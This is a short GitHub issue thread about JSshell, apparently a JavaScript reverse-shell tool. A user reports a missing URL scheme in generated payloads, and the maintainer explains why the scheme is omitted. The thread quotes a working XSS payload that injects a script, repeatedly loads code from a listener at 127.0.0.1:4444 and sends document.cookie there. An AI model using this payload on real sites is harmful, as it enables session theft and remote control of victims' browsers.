shelld3v/JSshell

The payload is missing url scheme

Closed this issue · 1 comments

The generated payload needs to include http:// scheme, for example: <script>setInterval(function(){with(document)body.appendChild(createElement("script")).src="http://127.0.0.1:4444/?"+document.cookie},1010)</script>.

Hi @kiven7299, normally if you don't select the scheme in the src attribute, browser will automatically recognize it as http. Removing the scheme from the URL helps the payloads to be shorter.

I hope that answered your question